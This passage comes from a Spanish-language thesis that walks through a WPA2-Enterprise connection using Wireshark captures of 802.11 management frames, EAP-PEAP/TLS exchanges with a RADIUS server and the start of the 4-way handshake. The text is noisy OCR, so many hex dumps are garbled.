0070 66 6O 6O 6O 60 66 66 66 66 OO 6O 6O 60

@ */ File: "/root/Desktop/EAPOL" 12 MB ... - Packets: 47740 Displayed: 4543 Marked: 0 Load time: 0:01.086 |
Figura. 110 Probe Request Frame

ba eb

883885898
8
8

3.1.3 Probe Response:

Es una trama de tipo de administracion (management frame) que
responde a la trama probe request para facilitarle informacion sobre

sincronizacion.
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-wlan.fc.type_subtype==0x05

No. Time Source
e —

[R5 I —
Destination
S

Protocol Length Info
'802.11 148 Probe Response, SN=2784

—| IEEE 802.11 Probe Response, Flags: ........ G
Type/Subtype: Probe Response (0x05)
—| Frame Control: ©x0050 (Normal)
Version: @
Type: Management frame (0)
Subtype: 5
—| Flags: ©x0
DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: © From DS: ©) (0x00)
More Fragments: This is the last fragment

@
n n n

Retry: Frame is not being retransmitted
PWR MGT: STA will stay up

More Data: No data buffered

Protected flag: Data is not protected

=]
n

)
nonou

Order flag: Not strictly ordered
Duration: 314
Destination address: Apple eb:52:67 (28:6a:ba:eb:52:67)
Source address: WistronN ©0:00:89 (00:1b:b1:00:00:89)
BSS Id: WistronN 00:00:89 (00:1b:bl:00:00:89)
Fragment number: ©
Sequence number: 2784

+| Frame check seguence: 0x8446e04d [correct]
+| IEEE 802.11 wireless LAN management frame

0000 ©0 60 12 00 2e 48 60 60 16 62 99 €9 a0 60 b8 65 ..... Hee caaanas
0010 06 00 50 60 3a O1 28 6a ba eb 52 67 60 1b bl @0 ..P.:.(j ..Rg..

0020 ©6 89 60 1b bl 60 00 89 0O ae ee 33 d3 de 60 00 ........ ... 3....
0030 0O 0O 64 60 31 64 00 067 74 65 73 69 73 31 34 61 ..d.1 tesisl4.
0040 ©8 82 84 8b 6c 12 96 18 24 63 01 62 2a 01 00 32 ........ $...*%..

0050 ©4 30 48 60 6c dd 18 @0 50 f2 62 01 61 €9 00 62 .6H'Ll... P.......
0060 a4 40 00 27 a4 00 60 42 43 5e 00 62 32 2f 60 30 .@.'...B C*.b2/.0
0070 14 01 60 60 6f ac B4 61 6O 60 6f ac 64 61 @0 B0  ........ ........

@ 7 File: "froot/Desktop/EAPOL" 12 MB ... - Packets: 47740 Displayed: 5914 Marked: 0 Load time: 0:01.243
Figura. 111 Probe Response Frame

3.2 Etapa 2: 802.11 Authentication and Association

Se abarca los mensajes del (4) al (7). El cliente escoge de entre los AP
que respondieron al probe response e inicia la autenticacién y asociacién
con el mismo. Al final de esta etapa, los puertos de protocolo 802.11X
permaneces bloqueados y ningun paquete con informacién puede ser
intercambiado. Los pasos son:

3.2.1 802.11 Authentication Request/Response

Es una trama de tipo de administracion (management frame). Es un
proceso en el que la NIC del cliente envia s6lo una trama de autenticacion
que contiene su identidad hacia el AP. El punto de acceso responde con una

trama de autenticacién como respuesta indicando aceptacion o rechazo.
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-wlan.fc.type_smtype--omb

|=| IEEE 802.11 Authentication, Flags: ........ C
Type/Subtype: Authentication (0x0b)
[=] Frame Control: 6x0080 (Normal)
Version: 0

Type: Managemsent frame (0)

Subtype: 11
|=| Flags: 0x0
.00 = DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: O From DS: 0) (0x00)
0., = More Fragments: This is the last fragment
0., = Retry: Frame is not being retransmitted

0o w PWR MGT: STA will stay up
.0, More Data: No data buffered
0.
0...
Duration: 314
Destination address: WistronN 00:00:89 (00:1b:b1:00:00:80)
Source address: Apple eb:52:67 (28:6a:ba:eb:52:67)
BSS Id: WistronN 00:00:89 (00:1b:b1:00:00:89)

Protected flag: Data is not protected

Order flag: Not strictly ordered

Fragmsent number: 0
Sequence number: 3626
|#| Frame check sequence: 0x775802a6 [correct)
|=| TEEE 802.11 wireless LAN management frame
|=] Fixed parameters (6 bytes)
Authentication Algorithm: Open Systes (0)
Authentication SEQ: 0x0001
Status code: Successful (0x0000)
]£| Tagged parameters (11 bytes)

@ * Frame (frame), 63 bytes - Packets: 47740 Displayed: 133 Marked: 0 Load time: 0:01.329
Figura. 112 802.11 Authentication Request Frame
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| IEEE 802.11 Authentication, Flags: ....R...C
Type/Subtype: Authentication (8x8b
=| Frame Control: 0x08B0 (Normal)
Version: ©
Type: Management frame (0
Subtype: 11
-| Flags: 0x8

00 = DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: @ From

0 » More Fragments: This is the
1 « Retry: Frame is being retransmitted
] = PWR MGT: STA will stay wp
0 = More Data: No data buffered
0 » Protected flag: Data is not protected
] « Order flag: Not strictly ordered
Duration: 314

Destination address: Apple eb:52:07 (28:6a:ba:ed:32:67
Source address: WistronN 00:00:89 (00:10:01:00:00:89
BSS Id: WistronN 00:00:89 (00:1b:b1:00:00:89
Fragment number: @
Sequence number: 1948

#| Frame check sequence: 0xB21117b8 [correct)

—| IEEE 802.11 wireless LAN management frame
=| Fixed parameters (6 bytes)
Authentication Algoritha: Open System (9

Authentication SEQ: 6x8882

Status code: Successful (8x8008)

000 00 90 12 80 2¢c 48 €0 88 18 82 99 89 a8 88 b3 85 H

010 ©0 00 b B8 3a 61 28 6a ba cb 52 67 08 1b bl 88 j Rg
020 ©0 89 80 1b bl 00 68 B9 O 79 00 00 62 90 00 88

030 82 11 17 b8

@ ¥ File: "/root/Desktop/EAPOL" 12 MB ... - Packets: 47740 Displayed: 133 Marked: 0 Load time: 0:01.329

Figura. 113 802.11 Authentication Response Frame

3.2.2 Association Request
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Es una trama de tipo de administracion (management frame) que permite

al Access Point distribuir los recursos necesarios para sincronizar con una

NIC. EIl controlador de interface de red comienza el proceso al enviar una

trama de peticion de asociaciéon al punto de acceso. Esta trama lleva

informacion sobre la NIC y el SSID de la red con la que desea conectarse.

Luego de recibir esta peticion de asociacion, el AP considera la asociacion

con la NIC y reserva espacio en la memoria junto con una ID (Identification)

de asociacion para la NIC.
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o e [« o o s

39755 2070.801759600 Apple eb:52:67 WistronN 60:00:89 125 Association Request,

—| 1EEE 802.11 Association Request, Flags: ........ C
Type/Subtype: Association Request (0x00)
=| Frame Control: 6x0060 (Normal)
Version: 0
Type: Management frame (0)
Subtype: 0
- Flags: Ox0
...... 00 = D5 status: Not leaving DS or network is operating in AD.MOC mode (To DS: O From DS: 0) (0x00)
0., = More Fragments: This is the last fragment
veve 0., = Retry: Frame 15 not being retransmitted

ol La w PR OMGT: STA wilL stay wp

0. L. = More Data: No data buffered

B, oov = Protected flag: Data is not protected

Qios v00e = Order flag: Not strictly ordered
Duration: 314

Destination address: WistronN 00:00:89 (00:1b:b1:00:00:89)
Source address: Apple eb:52:67 (28:6a:ba:eb:52:67)
BSS 1d: WistronN 00:00:89 (00:1b:b1:00:00:89)
Fragment number: 0
Sequence number: 976

+| Frame check sequence: OxBb28fbcd [correct)

~| IEEE 802.11 wireless LAN management frame

=| Fixed parameters (4 bytes)

4 Capabilities Information: 8xB8431
Listen Interval: Ox000a

—| Tagged parameters (75 bytes)
+ Tag: SSID parameter set: tesisld
4 Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 18, 24, 36, 54, [Mbit/sec]
+ Tag: Power Capability Min: 8, Max :17
+ Tag: Supported Channels
+ Tag: RSN Information
4+ Tag: Extended Supported Rates 6, 9, 12, 48, [Mbit/sec]
+ Tag: Vendor Specific: Broadcom

+ Tag: Vendor Specific: Microsof: WM/WME: Information Element

5 T
A4 A1 AA AA Af ac A4 A1 _HA AA AT ac A1 Ac AA 3

@ Frame (frame), 125 bytes Packets: 47740 Displayed: 9 Marked: 0 Load time: 0:01.234
Figura. 114 Association Request Frame

3.2.3 Association Response

Es una trama de tipo de administracion (management frame) donde el
punto de acceso responde con el aviso de aceptacion (o rechazo) a la NIC
junto con un /D de asociacion. En el caso en que el AP acepte a la tarjeta
NIC, la trama incluira informacién como velocidades de datos soportados,
etc. Si la asociacion es exitosa, la NIC puede utilizar el Access Point para

comunicarse con sistemas de la distribucion lateral del punto de acceso.



-wlan.fc.type_subtype= =0x01

No. ‘Time ' Source
38082 1995500961000 WistronN_00:00:89

Frame 38082: 105 n wire (840 bits), 105 b tured (840 bits) on interface 0
4 Radiotap Header v, Length 18
~ TEEE 802.11 Association Response, Flags: ....R...C
Type/Subtype: Association Response (0x01)
= Frame Control: 0x0810 (Normal)
Version: 0
Type: Management frame (0)
Subtype: 1
= Flags: Ox8
.00 = DS status: Not leaving DS or network is operating in AD.HOC mode (To DS: © From DS: 0) (0x0D0)
. 0., = More Fragments: This 1s the last fragment
1... = Retry: Frame 15 being retransmitted

codD L = PR MGT: STA will stay up

0. ... = More Data: No data buffered

.0, +or ™ Protected flag: Data is not protected

O... ... = Order flag: Not strictly ordered
Duration: 314

Destination address: Apple eb:52:67 (28:6a:ba:eb:52:67)
Source acdress: WistronN 00:00:89 (00:1b:b1:00:00:89)
BSS Id: WistronN 00:00:89 (00:1b:b1:00:00:89)
Fragment number: ©
Sequence number: 1073
+ Frame check sequence: 0xBab3adld [correct)
~| 1EEE 8062.11 wireless LAN management frame
= Fixed parameters (6 bytes)
+| Copabilities Information: @x8431
Status code: Successful (Ex6660)
..00 0000 0000 0POL = Association ID: Ox0001
- Tagged parameters (53 bytes)
4| Tag: Supported Rates 1(B), 2(B), 5.5(B), 6, 9, 11(B), 12, 18, [Mbit/sec]
+| Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec)
+| Tag: Vendor Specific: Microsof: WM/WME: Parameter Element
+| Tag: Vendor Specific: AtherosC: Advanced Capability

08016
0020

@ Frame (frame), 105 bytes - Packets: 47740 Displayed: 108 Marked: 0 Load time: 0:01.154
Figura. 115 Association Response Frame

3.3 Etapa 3: EAP/802.11X/RADIUS Authentication

La etapa siguiente consiste en el intercambio de varios mensajes entre
los equipos suplicante, autenticador y el servidor RADIUS, como se puede
observar en la figura 3.1.1, donde procedimiento se realiza con el fin se
establecer un protocolo de autenticacion en este caso EAP-TLS, donde el
autenticador actua como un distribuidor para el intercambio de tramas,
adicional como medio de proteccién durante esta etapa se genera un tunel
para el intercambio seguro de informacion entre el suplicante y el servidor

RADIUS. Posterior a haber validado la informacion y haber autenticado, se
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genera una llave de sesion maestra entre ellos (MSK), la que el suplicante
utiliza para generar una nueva llave maestra de emparejamiento (PMK), el
servidor por su parte envia la clave de forma segura hacia el autenticador
por medio del MSK, que permite al autenticador generar un PMK igual al
generado por el suplicante, esto permitira a los equipos continuar con las
siguientes etapas de conexion. A continuacion se muestran las tramas de los

mensajes generados en la etapa 3.

3.3.1 EAPOL START

El primer mensaje en ser enviado por parte del suplicante, por medio del
cual se solicita iniciar la conexién al equipo de acceso en este caso el
Access Point. En la siguiente figura se puede observar el mensaje enviado

en el escenario de pruebas implementado.

|
No. Time Source Destination Protocol Length Info
309400 1447.106297600 Apple eb:52:67

+ Frame 309400: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
+| Radiotap Header vO, Length 18
+| IEEE 802.11 QoS Data, Flags: ....... TC
+| Logical-Link Control
—| 802.1X Authentication
Version: 802.1X-2001 (1)
Type: Start (1)
Length: ©

0000 00 60 12 00 2e 48 00 00 10 62 6¢c 09 a6 00 f5 65 ..... H.. ..L.....
0010 ©0 60 88 01 3a 01 60 1b bl 60 00 89 28 6a baeb ....:... .... (j..
0020 52 67 00 1b bl 00 60 89 10 60 00 00 aa aa 03 60 Rg...... ........
0030 00 60 88 8¢ 01 01 60 00 17 2a 2c f6 ........ . ., .

@ mon0: <live capture in progress> F... - Packets: 391269 Displayed: 114 Marked: 0
Figura. 116 Mensaje EAPOL START

3.3.2 EAP - Request identity

Este mensaje es enviado desde el autenticador hacia el suplicante, en el

cual se solicita la identidad del usuario.
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 Source | Destination | Protocol  Length  Info
309402 1447.107310000  WistronN_60:00:89 Apple_eb:52:67

63 Request, Identity

Frame 309462: 63 bytes on wire (504 bits), 63 bytes captured (564 bits) on interface ©
Radiotap Header v@, Length 18
IEEE 802.11 Data, Flags: ......F.C
Logical-Link Control
802.1X Authentication
Version: 802.1X-2004 (2)
Type: EAP Packet (@)
Length: 5
Extensible Authentication Protocol
Code: Request (1)

R

Id: 165

Length: 5

Type: Identity (1)

Identity:
0000 00 00 12 00 2e 48 60 00 10 02 6¢c 09 a0 60 b9 65 ..... H.. ..l.....
0010 00 00 08 62 3a 61 28 6a ba eb 52 67 60 1b b1 60 ....:.(j ..Rg...
0020 00 89 00 1b bl 60 60 89 0 33 aa aa 63 60 00 60 ........ . 3......
0030 88 8e 02 00 60 65 01 69 00 05 01 87 ed 44 f4 ....... i..... D.

@ mono0: <live capture in progress> F... - Packets: 395301 Displayed: 114 Marked: 0
Figura. 117 Mensaje EAP — Request Identity

3.3.3 EAP - Response Identity

Como respuesta al mensaje anterior, el suplicante envia un mensaje en

donde se especifica su identidad, es decir su nombre de usuario.

o R

No. ‘Time ' Source | Destination Protocol Length Info
309404 1447.109664000 Apple eb:52:67 WistronN_00:00:89 72 Response, Identity

+ Frame 309404: 72 bytes on wire (576 bits), 72 bytes captured (576 bits) on interface ©
+ Radiotap Header v@, Length 18
+ IEEE 802.11 QoS Data, Flags: ....... TC
+ Logical-Link Control
~| 802.1X Authentication
Version: 862.1X-2001 (1)
Type: EAP Packet (8)
Length: 12
~ Extensible Authentication Protocol
Code: Response (2)
Id: 1685
Length: 12
Type: Identity (1)
Identity: USUARIO

0000 00 00 12 00 2e 48 00 00 10 02 6¢ 09 a0 00 f8 65 ..... [T SO
6010 00 00 88 01 3a 01 60 1b bl 60 60 89 28 6a ba eb ....:... .... (j

0020 52 67 60 1b bl 00 00 89 20 60 00 00 33 33 03 0 RG...... .......
6030 00 00 88 8¢ 01 00 60 6c 02 69 80 B¢ 61 55 53 55  ........ . i...USU
0040 41 52 49 4f 3 08 3a b4 ARIO..:.

@ mon0: <live capture in progress> F... - Packets: 396141 Displayed: 114 Marked: 0

Figura. 118 Mensaje EAP — Response ldentity

Enviado el mensaje de Response identity, el autenticador lo encapsula
en una trama RADIUS Access Request, y lo envia hacia el servidor, el
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mismo que toma la identidad dentro del mensaje y la consulta dentro de la
base de datos, de ser correcta la identidad enviada, el servidor RADIUS
envia un mensaje de RADIUS Access Challenge, para iniciar la negociacion
del tipo de canal EAP, para el establecimiento de un tunel para el

intercambio de informacion.

3.3.4 EAP Request Start PEAP

El autenticador requiere establecer el canal de intercambio de
informacion EAP de tipo PEAP, por lo que envia al suplicante el siguiente

mensaje.

e L L ——

No. Time Source Destination Protocol Length Info
169438 1189.607752000 WistronN 60:00:89 84:8e:0c:79:8e:35 699 Request, Protected EAP (EAP-PEAP)

171641 1207.267561000 84:8e:0c:79:8e:35 WistronN 60:00:89 EAP 66 Response, Protected EAP (EAP-PEAP)
—
Frame 169438: 699 bytes on wire (5592 bits), 699 bytes captured (5592 bits) on interface @
Radiotap Header vO, Length 18
IEEE 802.11 Data, Flags: ...... (F-o
Logical-Link Control
802.1X Authentication
Version: 862.1X-2004 (2)
Type: EAP Packet (0)
Length: 1024
—| Extensible Authentication Protocol
Code: Request (1)
Id: 61
Length: 1024
Type: Protected EAP (EAP-PEAP) (25)
—| EAP-TLS Flags: Oxc@®

V| [+ [+ [+] [+

lo.. wues = Length Included: True
.1.. .... = More Fragments: True
..0. .... = Start: False

.... .BBO = Version: @
EAP-TLS Length: 2463

0060 06 60 12 Ol
0010 06 60 68 O
0020 06 89 60 1
0030 88 8e 62 60 04 00 01 3d ©4 66 19 cO 00 00 69 63
0040 16 63 61 60 39 62 60 60 35 63 €1 3a 65 b3 e8 5e  ....
0050 31 07 45 4a 3 46 45 8b 26 07 6b 86 f1 f3 83 63 1.EJ.FE. &.k.....
0060 @ fc 6d 2d 7b 62 29 de bd 61 58 60 c@ 14 00 80 ...-{.). .aX.....

@ mono0: <live capture in progress> F... - Packets: 178952 Displayed: 50 Marked: 0 Profile: D¢

Figura. 119 Mensaje EAP Request PEAP

0 2e 48 00 60 10 02 6c 69 ab 60 bb 65 ..... H.. ..l.....
2 3a 01 84 8e Oc 79 8e 35 60 1b bl 60 .

b bl 60 00 89 80 bc aa aa 63 60 00 00 .
0 o

3.3.5 EAP Response TLS Client Hello

Mediante el mensaje anterior y el presente mensaje inicia la negociacion
del tipo de canal, donde el suplicante envia el mensaje TLS Client Hello,

para el establecimiento de canal TLS.
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= ETE SR R

No. Time Source Destination \ Protocol Length Info
5388 331.339181000 Apple_eb:52:67 WistronN_00:00:89 212 Client Hello

+ Radiotap Header vO, Length 18
+| IEEE 802.11 QoS Data, Flags: ....... TC
+| Logical-Link Control
—| 802.1X Authentication
Version: 802.1X-2001 (1)
Type: EAP Packet (0)
Length: 152
|=| Extensible Authentication Protocol
Code: Response (2)
Id: 184
Length: 152
Type: TLS EAP (EAP-TLS) (13)
(=] EAP-TLS Flags: ©0x80

... ... = Length Included: True
.0.. .... = More Fragments: False
..0. .... = Start: False

EAP-TLS Length: 142
|=| Secure Sockets Layer
—| SSL Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 137
[+] Handshake Protocol: Client Hello

0000 00 60 12 00 2e 48 00 60 10 02 99 09 a6 00 b2 65 ..... Hoo cooia
0010 00 00 88 01 3a 01 00 1b bl 00 00 89 28 6a baeb ....:... .... (j..
0020 52 67 00 1b bl 60 00 89 10 00 00 00 aa aa 03 60 Rg...... ........
0030 00 00 88 8e 01 00 00 98 ©2 b8 00 98 6d 80 00 60 ........ ........

0040 00 8e 16 03 01 60 89 01 00 00 85 03 01 53 ad €6 ........ ..... S..
|O #*7 File: "froot/Desktop/captura 1" 614... - Packets: 23356 Displayed: 160 Marked: 0 Load time: 0:00.504
Figura. 120 Mensaje EAP response TLS Client Hello

El mensaje es encapsulado en una trama RADIUS request, por parte del
autenticador y es enviado hacia el servidor, el mismo que verifica el mensaje
y responde enviando el certificado mediante un mensaje RADIUS
Challenge, este mensaje contiene varios parametros como : server hello,

server certificate, server done.

3.3.6 EAP Request TLS Certificate

El autenticador recibe el mensaje RADIUS Challenge enviado por el
servidor, y lo envia hacia el suplicante, en donde se incluye el certificado.



WistronN ©0:00

:89 Apple eb:52:67
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Length: 1024

Id: 138
Length: 1024

[=] EAP-TLS Flags:
1. ... =

.0 L=

|=| Secure Sockets

EAP-TLS Length:
|E| [3 EAP-TLS Fragments (2533 bytes): #27451(1014), #27453(1014), #27456(565)]

(=] 862.1X Authentication
Version: 802.1X-2004 (2)
Type: EAP Packet (©)

[=| Extensible Authentication Protocol
Code: Request (1)

Type: TLS EAP (EAP-TLS) (13)

Oxch

Length Included: True
More Fragments: True
Start: False

2533

Layer

[+] TLSv1 Record Layer: Handshake Protocol: Server Hello

[+] TLSv1 Record Layer: Handshake Protocol: Certificate

\£| TLSvl Record Layer: Handshake Protocol: Server Key Exchange

\E| TLSvl Record Layer: Handshake Protocol: Multiple Handshake Messages

00c® 30 69 06 63 55 04
00de ©3 55 64 68 6c 09
00e® ©d 30 6b 06 83 55
000 30 6c 06 63 55 04
0160 30 6f 06 83 55 64
0116 52 31 1f 30 1d 06
0120 16 10 69 6e 66 6T

Frame (1082 bytes)

06 13 062 45 43 31 12 30 10 06
50 49 43 48 49 4e 43 48 41 31
04 @a Oc 64 45 53 50 45 31 e
Ob ©c B85 52 45 44 45 53 31 11
03 Bc 88 53 45 52 56 49 44 47
09 2a 86 48 86 f7 6d 01 09 61
40 65 73 70 65 2e 65 64 75 2e  ..infoge spe.edu.

a4

3.3.7 EAP Response TLS Key Exchange

@ *f File: "/root/Desktop/captura 2" 12 ... - Packets: 47740 Displayed: 273 Marked: 0 Load time: 0:01.0€
Figura. 121 Mensaje EAP Request TLS Certificate

En suplicante envia hacia el servidor un mensaje, que contiene la clave

del usuario por medio del canal cifrado establecido.



111

Filter: eapol ' v |w i_

No. Time Source Destination Protocol Length Info
14984 850.273600000 Apple 26:42:52 WistronN_00:00:89 66 Response, TLS EAP (EAP-TLS)

+| Frame 14984: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
+| Radiotap Header v@, Length 18
+| IEEE 802.11 QoS Data, Flags: ....... TC
+| Logical-Link Control
—| 802.1X Authentication
Version: 802.1X-2001 (1)
Type: EAP Packet (0)
Length: 6
Extensible Authentication Protocol
Code: Response (2)
Id: 202
Length: 6
Type: TLS EAP (EAP-TLS) (13)
—| EAP-TLS Flags: 0x00

0... .... = Length Included: False
.0.. .... = More Fragments: False
..0. .... = Start: False

0000 00 00 12 00 2e 48 00 00 10 02 99 09 a@ 00 d2 65
0010 00 00 88 01 3a 01 60 1b bl 00 060 89 b8 8d 12 26
0020 42 52 00 1b bl 00 00 89 80 0@ 00 00 aa aa 03 00
0030 00 00 88 8e 01 00 00 06 02 ca 00 06 0d 00 od 2f
0040 f3 54

@ */ File: "/root/Desktop/captura 2" 12 ... - Packets: 47740 Displayed: 273 Marked: 0 Load time: 0:01.061

Figura. 122 Mensaje EAP Response TLS Key Exchange

La trama es encapsulada en una nueva trama RADIUS Request, la
misma que contiene las credenciales de usuario, y es enviada hacia el

servidor para que sean consultadas en la Base de Datos.

. De comprobar que las credenciales son correctas el servidor
responde con un mensaje RADIUS challenge, estableciendo el canal seguro
de tipo TLS.

. De no ser correctas las credenciales el servidor respondera con un

mensaje RADIUS Reject, finalizando el proceso para establecer el canal.

3.3.8 EAP Request Cipher TLS Complete

El autenticador recibe el mensaje del servidor RADIUS, y lo envia hacia

el suplicante, para finalizar el establecimiento del canal.
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\E\ 802.1X Authentication
Version: 862.1X-2084 (2)
Type: EAP Packet (0)
Length: 69
E\ Extensible Authentication Protocol
Code: Request (1)
Id: 179
Length: 69
Type: TLS EAP (EAP-TLS) (13)
\E\ EAP-TLS Flags: 6x80
= Length Included: True
= More Fragments: False

..0. .... = Start: False
EAP-TLS Length: 59
[=) Secure Sockets Layer

|E\ TLSv1 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
Version: TLS 1.0 (©x6301)
Length: 1
Change Cipher Spec Message

|E\ TLSv1 Record Layer: Handshake Protocol: Encrypted Handshake Message
Content Type: Handshake (22)
Version: TLS 1.0 (6x8301)

Length: 48
0000 B! 2e 48 00 60 16 62 99 00 b7
0010 2 3a 01 28 6a ba eb 52 1b bl
0020 0 bl @0 66 89 00 f7 aa 00 60 66
0030 e 06 45 61 b3 00 45 od

0040 61 61 16 63 01 60 30
A a2 c1 df Ra_cf 30 dd £

Figura. 123 EAP Request Cipher TLS Complete

3.3.9 EAP Response PEAP

Este mensaje es enviado por parte del suplicante hacia el autenticador,
para solicitar el acceso a la red.
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eapol
No. \Time \ Source | Destination  Protocol \ Length [ Info
169438 1189.007752000 WistronN ©06:00:89 84:8e:0c:79:8e:35 EAP 699 Request, Protected EAP (EAP-PEAP)

171641 1267.267561000 84:8e:0c:79:8e:35 WistronN 06:00:89 66 Response, Protected EAP (EAP-PEAP)

—

\E\ Frame 171641: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
[+) Radiotap Header v@, Length 18
\E\ IEEE 802.11 QoS Data, Flags: ....... TC
(+| Logical-Link Control
(=) 862.1X Authentication
Version: 802.1X-2001 (1)
Type: EAP Packet (0)
Length: 6
[=| Extensible Authentication Protocol

Code: Response (2)
Id: 62
Length: 6
Type: Protected EAP (EAP-PEAP) (25)
[=] EAP-TLS Flags: €xe0
0... ..., = Length Included: False
.0 . = More Fragments: False

..0. .... = Start: False
.... .00O = Version: &

0600 60 06 12 06 2e 48 60 0O 10 62 b6c 69 ad 0 f2 05
0010 60 0 88 01 3a 61 60 1b bl 60 60 89 84 8e 6c 79

0020 8e 35 60 1b bl 00 60 B9 40 60 0O 00 aa aa 63 00

0630 60 0O 83 Be 61 0O 60 06 02 3e 6O B6 19 0O 20 bb

0040 81 al

@ mono: <live capture in progress> F... - Packets: 180377 Displayed: 50 Marked: 0 = Profile: |

Figura. 124 EAP Response PEAP

El autenticador recibe el mensaje, lo encapsula en un mensaje RADIUS
Request, y responde enviando un mensaje RADIUS Accept, hacia el

autenticador.
3.3.10 EAP SUCCES

Finalmente el autenticador envia una el mensaje hacia el suplicante, el

mismo que se encuentra habilitado para hacer uso de la recursos de la red.



+| Frame 14197: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface ©
+| Radiotap Header v@, Length 18
+| IEEE 862.11 Data, Flags: ......F.C
+/| Logical-Link Control
—| 862.1X Authentication

Version: 802.1X-2004 (2)

Type: EAP Packet (0)

Length: 4

—| Extensible Authentication Protocol
Code: Success (3)

Id: 179

Length: 4
0000 ©0 60 12 60 2e 48 00 60 16 62 99 09 a6 00 b8 65
0010 ©0 60 68 62 3a 01 28 6a ba eb 52 67 60 1b bl 66
0020 ©6 89 60 1b bl 60 00 89 10 f7 aa aa 03 00 60 60
0030 88 8e 62 60 60 64 03 b3 60 64 50 84 ¢5 51

@ *7 File: "/root/Desktop/captura 2" 12 ... - Packets: 47740 Displaved: 273 Marked: 0 Load time: 0:01.061
Figura. 125 EAP Success

3.3.11 Mensajes RADIUS

Los mensajes que se ven en la imagen a continuacion, son la que fueron
descritas en cada uno de los pasos anteriores, si bien son importantes en el
proceso de validacion, cabe sefalar que se intercambian entre el

autenticador y el servidor por medio de Ethernet.

064424000 192. 5 o

.096202000 192. ollg N oty Access-Challenge(11) (id=23, 1=577)
771 109.211504000 192.168.1. .168.1. Access-Request(1) (id=24, 1=1446)
772 109.263878000 192.168.1. .168.1. 106 Access-Challenge(11) (id=24, 1=64)
773 109.270843000 192.168.1. .168.1. 376 Access-Request(1) (id=25, 1=334)
774 109.314538000 192.168.1. .168.1. 169 Access-Challenge(11) (id=25, 1=127)
775 109.321220000 192.168.1. .168.1. Access-Request(1) (id=26, 1=166)
776 109.347681000 192 Access-Accept(2) (

|+| Frame 769: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface @
|+ Ethernet II, Src: PcEngine 19:66:14 (00:0d:b9:19:66:14), Dst: Vmware c0:49:e2 (00:0c:29:c0:49:e2)
(+| Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.12 (192.168.1.12)
|+| User Datagram Protocol, Src Port: 48503 (48503), Dst Port: radius (1812)
=/ Radius Protocol
Code: Access-Request (1)
Packet identifier: Ox17 (23)
Length: 166
Authenticator: ald4bSbff26ff8e304872881200711c3
The response to this request is in frame 776

[+] Attribute Value Pairs

0000 ©0 Oc 29 cO 49 e2 00 6d b9 19 66 14 68 00 45 00 L)W I, L fLLLE.
0010 00 c2 14 cl 60 00 40 11 e2 Oc cO a8 01 01 co a8
17 00 I 1_da
Frame (208 bytes) | Reassembled EAP (6
© etho: <live capture in progress> Fil... - Packets: 2372 Displayed: 28 Marked: 0 = Profile: C

Figura. 126 EAP Success
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3.4 Etapa 4: 4-Way Handshake

Se explicara los mensajes del (27) al (30). El Access Point necesita
autenticarse con el suplicante (STA) y las llaves para encriptar el trafico
necesitan establecerse. En intercambio de EAP analizado anteriormente, ha
compartido una llave secreta PMK (Pairwise Mater Key). Esta llave es
disefiada para durar toda la sesidén y debe ser expuesta lo minimo posible.
Por lo tanto, el apreton de manos de 4 vias (4-Way Handshake) es usada
para establecer otra llave llamada PTK (Pairwaise Transient Key). La PTK es
generada al concatenar los atributos de: PMK, AP nonce (ANonce), STA
nonce (SNonce), AP y STA MAC address. Esta combinacion es sometida a
PBKDF2 (Password-Based Key Derivation Function 2) como la funciona
criptografica. Al completarse esta etapa la PTK es compartida entre el
autenticador y el suplicante, entonces los puertos 802.1717X son
desbloqueados para los paquetes de datos. Este proceso se detalla a

continuacion:

3.4.1 Mensaje 1

El AP envia el msg1 al suplicante, este contiene los parametros:
direccion MAC del Access Point (AA), un numero aleatorio escogido por el
autenticador (ANonce) y un contador para prevenir un ataque de repeticion

(sn).



8584 489.301024600 WistronN 60:00:89 Apple eb:52:67 EAPOL 175 Key (Message 1 of 4)
8585 489.303827600 Apple eb:52:67 WistronN 60:00:89 EAPOL 177 Key (Message 2 of 4)
8587 489.306581000 WistronN 00:60:89 Apple eb:52:67 EAPOL 209 Key (Message 3 of 4)
8588 489.309366000 Apple eb:52:67 WistronN 60:60:89 EAPOL 155 Key (Message 4 of 4)

———————————————————
- 862.1X Authentication
Version: 862.1X-2804 (2)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)
= Key Information: ©x088a
............ .010 = Key Descriptor Version: AES Cipher, HMAC-SHA1 MIC (2)
Key Type: Pairwise Key
Key Index: @
e e . Install: Not set
........ 1... .... = Key ACK: Set
Key MIC: Not set
Secure: Not set
Error: Not set
.e Request: Not set
sa el dass arbe @ Encrypted Key Data: Not set
Key Length: 16
Replay Counter: 2
WPA Key Nonce: 09f65a8feb9aa5165e53a48b869198ce7¢4883¢c9195¢60d. . .

o
-
wowonono

@
LI I | B B 1]

0660 ©0 60 12 60 2e 48 60 60 10 62 99 €9 a6 €0 b8 65
0010 ©0 60 08 62 3a 01 28 6@ ba eb 52 67 00 1b bl 60
0620 ©0 89 60 1b bl 60 €60 89 50 83 aa aa ©3 60 60 60
0030 88 8¢ 62 63 00 75 62 60 B8a 60 10 00 00 00 60 60 li s e
0A40__ 00 AN A2 A9 f6 Sa Bf eb 9a aS 16 Se 53 a4 8b 86 ... ... 7. . .. .°S. .
@ mon0: <live capture in progress> F... - Packets: 12728 Displayed: 49 Marked: 0

Figura. 127 Handshake Mensaje 1

3.4.2 Mensaje 2

El suplicante, genera dos parametros adicionales: la direccion MAC del
cliente (SPA) y un numero aleatorio escogido por el cliente (SNonce). El
suplicante deduce el PTK a partir de cinco parametros: AA, ANonce, SPA,
SNonce y el PMK. Se debe considerar que el PTK no se deduce entre el
cliente y el AP en el primer mensaje, esto solo sucede después de que se

recibe el msg 2 usando el MIC (Message Integrity Code).
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Fapol

No.  Time | Source  Destination Protocol Length Info
